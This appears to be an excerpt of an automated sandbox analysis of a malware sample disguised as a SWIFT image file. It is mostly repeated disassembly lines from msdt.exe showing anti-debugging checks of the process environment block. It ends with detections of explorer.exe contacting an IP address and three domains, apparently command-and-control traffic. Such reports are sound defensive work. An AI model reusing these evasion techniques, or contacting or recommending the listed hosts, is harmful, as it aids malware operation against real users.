          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F91C06 mov eax, dword ptr fs:[00000030h]7_2_04F91C06
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F91C06 mov eax, dword ptr fs:[00000030h]7_2_04F91C06
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F91C06 mov eax, dword ptr fs:[00000030h]7_2_04F91C06
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F91C06 mov eax, dword ptr fs:[00000030h]7_2_04F91C06
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F91C06 mov eax, dword ptr fs:[00000030h]7_2_04F91C06
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F91C06 mov eax, dword ptr fs:[00000030h]7_2_04F91C06
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F91C06 mov eax, dword ptr fs:[00000030h]7_2_04F91C06
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F56C0A mov eax, dword ptr fs:[00000030h]7_2_04F56C0A
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F56C0A mov eax, dword ptr fs:[00000030h]7_2_04F56C0A
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F56C0A mov eax, dword ptr fs:[00000030h]7_2_04F56C0A
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F56C0A mov eax, dword ptr fs:[00000030h]7_2_04F56C0A
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F88DF1 mov eax, dword ptr fs:[00000030h]7_2_04F88DF1
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EED5E0 mov eax, dword ptr fs:[00000030h]7_2_04EED5E0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EED5E0 mov eax, dword ptr fs:[00000030h]7_2_04EED5E0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F9FDE2 mov eax, dword ptr fs:[00000030h]7_2_04F9FDE2
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F9FDE2 mov eax, dword ptr fs:[00000030h]7_2_04F9FDE2
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F9FDE2 mov eax, dword ptr fs:[00000030h]7_2_04F9FDE2
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F9FDE2 mov eax, dword ptr fs:[00000030h]7_2_04F9FDE2
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F56DC9 mov eax, dword ptr fs:[00000030h]7_2_04F56DC9
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F56DC9 mov eax, dword ptr fs:[00000030h]7_2_04F56DC9
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F56DC9 mov eax, dword ptr fs:[00000030h]7_2_04F56DC9
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F56DC9 mov ecx, dword ptr fs:[00000030h]7_2_04F56DC9
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F56DC9 mov eax, dword ptr fs:[00000030h]7_2_04F56DC9
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F56DC9 mov eax, dword ptr fs:[00000030h]7_2_04F56DC9
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F01DB5 mov eax, dword ptr fs:[00000030h]7_2_04F01DB5
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F01DB5 mov eax, dword ptr fs:[00000030h]7_2_04F01DB5
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F01DB5 mov eax, dword ptr fs:[00000030h]7_2_04F01DB5
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F035A1 mov eax, dword ptr fs:[00000030h]7_2_04F035A1
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04FA05AC mov eax, dword ptr fs:[00000030h]7_2_04FA05AC
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04FA05AC mov eax, dword ptr fs:[00000030h]7_2_04FA05AC
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04ED2D8A mov eax, dword ptr fs:[00000030h]7_2_04ED2D8A
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04ED2D8A mov eax, dword ptr fs:[00000030h]7_2_04ED2D8A
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04ED2D8A mov eax, dword ptr fs:[00000030h]7_2_04ED2D8A
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04ED2D8A mov eax, dword ptr fs:[00000030h]7_2_04ED2D8A
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04ED2D8A mov eax, dword ptr fs:[00000030h]7_2_04ED2D8A
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F0FD9B mov eax, dword ptr fs:[00000030h]7_2_04F0FD9B
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F0FD9B mov eax, dword ptr fs:[00000030h]7_2_04F0FD9B
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F02581 mov eax, dword ptr fs:[00000030h]7_2_04F02581
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F02581 mov eax, dword ptr fs:[00000030h]7_2_04F02581
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F02581 mov eax, dword ptr fs:[00000030h]7_2_04F02581
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F02581 mov eax, dword ptr fs:[00000030h]7_2_04F02581
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EFC577 mov eax, dword ptr fs:[00000030h]7_2_04EFC577
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EFC577 mov eax, dword ptr fs:[00000030h]7_2_04EFC577
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F13D43 mov eax, dword ptr fs:[00000030h]7_2_04F13D43
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F53540 mov eax, dword ptr fs:[00000030h]7_2_04F53540
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EF7D50 mov eax, dword ptr fs:[00000030h]7_2_04EF7D50
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F9E539 mov eax, dword ptr fs:[00000030h]7_2_04F9E539
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F5A537 mov eax, dword ptr fs:[00000030h]7_2_04F5A537
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F04D3B mov eax, dword ptr fs:[00000030h]7_2_04F04D3B
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F04D3B mov eax, dword ptr fs:[00000030h]7_2_04F04D3B
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F04D3B mov eax, dword ptr fs:[00000030h]7_2_04F04D3B
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04FA8D34 mov eax, dword ptr fs:[00000030h]7_2_04FA8D34
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EE3D34 mov eax, dword ptr fs:[00000030h]7_2_04EE3D34
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EE3D34 mov eax, dword ptr fs:[00000030h]7_2_04EE3D34
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EE3D34 mov eax, dword ptr fs:[00000030h]7_2_04EE3D34
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EE3D34 mov eax, dword ptr fs:[00000030h]7_2_04EE3D34
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EE3D34 mov eax, dword ptr fs:[00000030h]7_2_04EE3D34
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EE3D34 mov eax, dword ptr fs:[00000030h]7_2_04EE3D34
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EE3D34 mov eax, dword ptr fs:[00000030h]7_2_04EE3D34
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EE3D34 mov eax, dword ptr fs:[00000030h]7_2_04EE3D34
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EE3D34 mov eax, dword ptr fs:[00000030h]7_2_04EE3D34
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EE3D34 mov eax, dword ptr fs:[00000030h]7_2_04EE3D34
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EE3D34 mov eax, dword ptr fs:[00000030h]7_2_04EE3D34
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EE3D34 mov eax, dword ptr fs:[00000030h]7_2_04EE3D34
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EE3D34 mov eax, dword ptr fs:[00000030h]7_2_04EE3D34
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EDAD30 mov eax, dword ptr fs:[00000030h]7_2_04EDAD30
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EE76E2 mov eax, dword ptr fs:[00000030h]7_2_04EE76E2
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F016E0 mov ecx, dword ptr fs:[00000030h]7_2_04F016E0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04FA8ED6 mov eax, dword ptr fs:[00000030h]7_2_04FA8ED6
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F18EC7 mov eax, dword ptr fs:[00000030h]7_2_04F18EC7
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F8FEC0 mov eax, dword ptr fs:[00000030h]7_2_04F8FEC0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F036CC mov eax, dword ptr fs:[00000030h]7_2_04F036CC
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F546A7 mov eax, dword ptr fs:[00000030h]7_2_04F546A7
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04FA0EA5 mov eax, dword ptr fs:[00000030h]7_2_04FA0EA5
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04FA0EA5 mov eax, dword ptr fs:[00000030h]7_2_04FA0EA5
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04FA0EA5 mov eax, dword ptr fs:[00000030h]7_2_04FA0EA5
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F6FE87 mov eax, dword ptr fs:[00000030h]7_2_04F6FE87
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EE766D mov eax, dword ptr fs:[00000030h]7_2_04EE766D
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EFAE73 mov eax, dword ptr fs:[00000030h]7_2_04EFAE73
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EFAE73 mov eax, dword ptr fs:[00000030h]7_2_04EFAE73
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EFAE73 mov eax, dword ptr fs:[00000030h]7_2_04EFAE73
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EFAE73 mov eax, dword ptr fs:[00000030h]7_2_04EFAE73
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EFAE73 mov eax, dword ptr fs:[00000030h]7_2_04EFAE73
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EE7E41 mov eax, dword ptr fs:[00000030h]7_2_04EE7E41
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EE7E41 mov eax, dword ptr fs:[00000030h]7_2_04EE7E41
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EE7E41 mov eax, dword ptr fs:[00000030h]7_2_04EE7E41
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EE7E41 mov eax, dword ptr fs:[00000030h]7_2_04EE7E41
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EE7E41 mov eax, dword ptr fs:[00000030h]7_2_04EE7E41
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EE7E41 mov eax, dword ptr fs:[00000030h]7_2_04EE7E41
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F9AE44 mov eax, dword ptr fs:[00000030h]7_2_04F9AE44
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F9AE44 mov eax, dword ptr fs:[00000030h]7_2_04F9AE44
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F8FE3F mov eax, dword ptr fs:[00000030h]7_2_04F8FE3F
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EDE620 mov eax, dword ptr fs:[00000030h]7_2_04EDE620
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F0A61C mov eax, dword ptr fs:[00000030h]7_2_04F0A61C
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F0A61C mov eax, dword ptr fs:[00000030h]7_2_04F0A61C
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EDC600 mov eax, dword ptr fs:[00000030h]7_2_04EDC600
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EDC600 mov eax, dword ptr fs:[00000030h]7_2_04EDC600
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EDC600 mov eax, dword ptr fs:[00000030h]7_2_04EDC600
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F08E00 mov eax, dword ptr fs:[00000030h]7_2_04F08E00
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F91608 mov eax, dword ptr fs:[00000030h]7_2_04F91608
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F137F5 mov eax, dword ptr fs:[00000030h]7_2_04F137F5
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F57794 mov eax, dword ptr fs:[00000030h]7_2_04F57794
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F57794 mov eax, dword ptr fs:[00000030h]7_2_04F57794
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F57794 mov eax, dword ptr fs:[00000030h]7_2_04F57794
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EE8794 mov eax, dword ptr fs:[00000030h]7_2_04EE8794
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EEFF60 mov eax, dword ptr fs:[00000030h]7_2_04EEFF60
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04FA8F6A mov eax, dword ptr fs:[00000030h]7_2_04FA8F6A
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EEEF40 mov eax, dword ptr fs:[00000030h]7_2_04EEEF40
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F0E730 mov eax, dword ptr fs:[00000030h]7_2_04F0E730
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04ED4F2E mov eax, dword ptr fs:[00000030h]7_2_04ED4F2E
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04ED4F2E mov eax, dword ptr fs:[00000030h]7_2_04ED4F2E
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F6FF10 mov eax, dword ptr fs:[00000030h]7_2_04F6FF10
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F6FF10 mov eax, dword ptr fs:[00000030h]7_2_04F6FF10
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04FA070D mov eax, dword ptr fs:[00000030h]7_2_04FA070D
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04FA070D mov eax, dword ptr fs:[00000030h]7_2_04FA070D
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EFF716 mov eax, dword ptr fs:[00000030h]7_2_04EFF716
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F0A70E mov eax, dword ptr fs:[00000030h]7_2_04F0A70E
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F0A70E mov eax, dword ptr fs:[00000030h]7_2_04F0A70E
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04ED58EC mov eax, dword ptr fs:[00000030h]7_2_04ED58EC
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F6B8D0 mov eax, dword ptr fs:[00000030h]7_2_04F6B8D0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F6B8D0 mov ecx, dword ptr fs:[00000030h]7_2_04F6B8D0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F6B8D0 mov eax, dword ptr fs:[00000030h]7_2_04F6B8D0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F6B8D0 mov eax, dword ptr fs:[00000030h]7_2_04F6B8D0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F6B8D0 mov eax, dword ptr fs:[00000030h]7_2_04F6B8D0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F6B8D0 mov eax, dword ptr fs:[00000030h]7_2_04F6B8D0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F0F0BF mov ecx, dword ptr fs:[00000030h]7_2_04F0F0BF
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F0F0BF mov eax, dword ptr fs:[00000030h]7_2_04F0F0BF
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F0F0BF mov eax, dword ptr fs:[00000030h]7_2_04F0F0BF
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F020A0 mov eax, dword ptr fs:[00000030h]7_2_04F020A0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F020A0 mov eax, dword ptr fs:[00000030h]7_2_04F020A0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F020A0 mov eax, dword ptr fs:[00000030h]7_2_04F020A0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F020A0 mov eax, dword ptr fs:[00000030h]7_2_04F020A0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F020A0 mov eax, dword ptr fs:[00000030h]7_2_04F020A0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F020A0 mov eax, dword ptr fs:[00000030h]7_2_04F020A0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F190AF mov eax, dword ptr fs:[00000030h]7_2_04F190AF
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04ED9080 mov eax, dword ptr fs:[00000030h]7_2_04ED9080
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F53884 mov eax, dword ptr fs:[00000030h]7_2_04F53884
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F53884 mov eax, dword ptr fs:[00000030h]7_2_04F53884
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F92073 mov eax, dword ptr fs:[00000030h]7_2_04F92073
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04FA1074 mov eax, dword ptr fs:[00000030h]7_2_04FA1074
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EF0050 mov eax, dword ptr fs:[00000030h]7_2_04EF0050
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EF0050 mov eax, dword ptr fs:[00000030h]7_2_04EF0050
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EEB02A mov eax, dword ptr fs:[00000030h]7_2_04EEB02A
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EEB02A mov eax, dword ptr fs:[00000030h]7_2_04EEB02A
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EEB02A mov eax, dword ptr fs:[00000030h]7_2_04EEB02A
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EEB02A mov eax, dword ptr fs:[00000030h]7_2_04EEB02A
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F0002D mov eax, dword ptr fs:[00000030h]7_2_04F0002D
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F0002D mov eax, dword ptr fs:[00000030h]7_2_04F0002D
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F0002D mov eax, dword ptr fs:[00000030h]7_2_04F0002D
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F0002D mov eax, dword ptr fs:[00000030h]7_2_04F0002D
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F0002D mov eax, dword ptr fs:[00000030h]7_2_04F0002D
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F57016 mov eax, dword ptr fs:[00000030h]7_2_04F57016
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F57016 mov eax, dword ptr fs:[00000030h]7_2_04F57016
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F57016 mov eax, dword ptr fs:[00000030h]7_2_04F57016
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04FA4015 mov eax, dword ptr fs:[00000030h]7_2_04FA4015
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04FA4015 mov eax, dword ptr fs:[00000030h]7_2_04FA4015
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EDB1E1 mov eax, dword ptr fs:[00000030h]7_2_04EDB1E1
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EDB1E1 mov eax, dword ptr fs:[00000030h]7_2_04EDB1E1
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EDB1E1 mov eax, dword ptr fs:[00000030h]7_2_04EDB1E1
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F641E8 mov eax, dword ptr fs:[00000030h]7_2_04F641E8
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F551BE mov eax, dword ptr fs:[00000030h]7_2_04F551BE
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F551BE mov eax, dword ptr fs:[00000030h]7_2_04F551BE
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F551BE mov eax, dword ptr fs:[00000030h]7_2_04F551BE
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F551BE mov eax, dword ptr fs:[00000030h]7_2_04F551BE
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F061A0 mov eax, dword ptr fs:[00000030h]7_2_04F061A0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F061A0 mov eax, dword ptr fs:[00000030h]7_2_04F061A0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F569A6 mov eax, dword ptr fs:[00000030h]7_2_04F569A6
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F02990 mov eax, dword ptr fs:[00000030h]7_2_04F02990
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EFC182 mov eax, dword ptr fs:[00000030h]7_2_04EFC182
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F0A185 mov eax, dword ptr fs:[00000030h]7_2_04F0A185
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EDC962 mov eax, dword ptr fs:[00000030h]7_2_04EDC962
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EDB171 mov eax, dword ptr fs:[00000030h]7_2_04EDB171
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EDB171 mov eax, dword ptr fs:[00000030h]7_2_04EDB171
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EFB944 mov eax, dword ptr fs:[00000030h]7_2_04EFB944
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EFB944 mov eax, dword ptr fs:[00000030h]7_2_04EFB944
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F0513A mov eax, dword ptr fs:[00000030h]7_2_04F0513A
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F0513A mov eax, dword ptr fs:[00000030h]7_2_04F0513A
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EF4120 mov eax, dword ptr fs:[00000030h]7_2_04EF4120
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EF4120 mov eax, dword ptr fs:[00000030h]7_2_04EF4120
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EF4120 mov eax, dword ptr fs:[00000030h]7_2_04EF4120
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EF4120 mov eax, dword ptr fs:[00000030h]7_2_04EF4120
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EF4120 mov ecx, dword ptr fs:[00000030h]7_2_04EF4120
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04ED9100 mov eax, dword ptr fs:[00000030h]7_2_04ED9100
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04ED9100 mov eax, dword ptr fs:[00000030h]7_2_04ED9100
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04ED9100 mov eax, dword ptr fs:[00000030h]7_2_04ED9100
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F02AE4 mov eax, dword ptr fs:[00000030h]7_2_04F02AE4
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F02ACB mov eax, dword ptr fs:[00000030h]7_2_04F02ACB
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F0FAB0 mov eax, dword ptr fs:[00000030h]7_2_04F0FAB0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04ED52A5 mov eax, dword ptr fs:[00000030h]7_2_04ED52A5
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04ED52A5 mov eax, dword ptr fs:[00000030h]7_2_04ED52A5
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04ED52A5 mov eax, dword ptr fs:[00000030h]7_2_04ED52A5
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04ED52A5 mov eax, dword ptr fs:[00000030h]7_2_04ED52A5
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04ED52A5 mov eax, dword ptr fs:[00000030h]7_2_04ED52A5
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EEAAB0 mov eax, dword ptr fs:[00000030h]7_2_04EEAAB0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EEAAB0 mov eax, dword ptr fs:[00000030h]7_2_04EEAAB0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F0D294 mov eax, dword ptr fs:[00000030h]7_2_04F0D294
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F0D294 mov eax, dword ptr fs:[00000030h]7_2_04F0D294
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F1927A mov eax, dword ptr fs:[00000030h]7_2_04F1927A
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F8B260 mov eax, dword ptr fs:[00000030h]7_2_04F8B260
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F8B260 mov eax, dword ptr fs:[00000030h]7_2_04F8B260
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04FA8A62 mov eax, dword ptr fs:[00000030h]7_2_04FA8A62
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F64257 mov eax, dword ptr fs:[00000030h]7_2_04F64257
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F9EA55 mov eax, dword ptr fs:[00000030h]7_2_04F9EA55
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04ED9240 mov eax, dword ptr fs:[00000030h]7_2_04ED9240
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04ED9240 mov eax, dword ptr fs:[00000030h]7_2_04ED9240
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04ED9240 mov eax, dword ptr fs:[00000030h]7_2_04ED9240
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04ED9240 mov eax, dword ptr fs:[00000030h]7_2_04ED9240
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F14A2C mov eax, dword ptr fs:[00000030h]7_2_04F14A2C
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F14A2C mov eax, dword ptr fs:[00000030h]7_2_04F14A2C
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EE8A0A mov eax, dword ptr fs:[00000030h]7_2_04EE8A0A
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F9AA16 mov eax, dword ptr fs:[00000030h]7_2_04F9AA16
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F9AA16 mov eax, dword ptr fs:[00000030h]7_2_04F9AA16
          Source: C:\Windows\SysWOW64\svchost.exeProcess token adjusted: DebugJump to behavior
          Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exeCode function: 0_2_10001527 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_10001527

          HIPS / PFW / Operating System Protection Evasion:

          barindex
          System process connects to network (likely due to code injection or exploit)Show sources
          Source: C:\Windows\explorer.exeNetwork Connect: 3.34.109.201 80Jump to behavior
          Source: C:\Windows\explorer.exeDomain query: www.northernbackflow.com
          Source: C:\Windows\explorer.exeDomain query: www.centerplans.com
          Source: C:\Windows\explorer.exeDomain query: www.seroungift.com
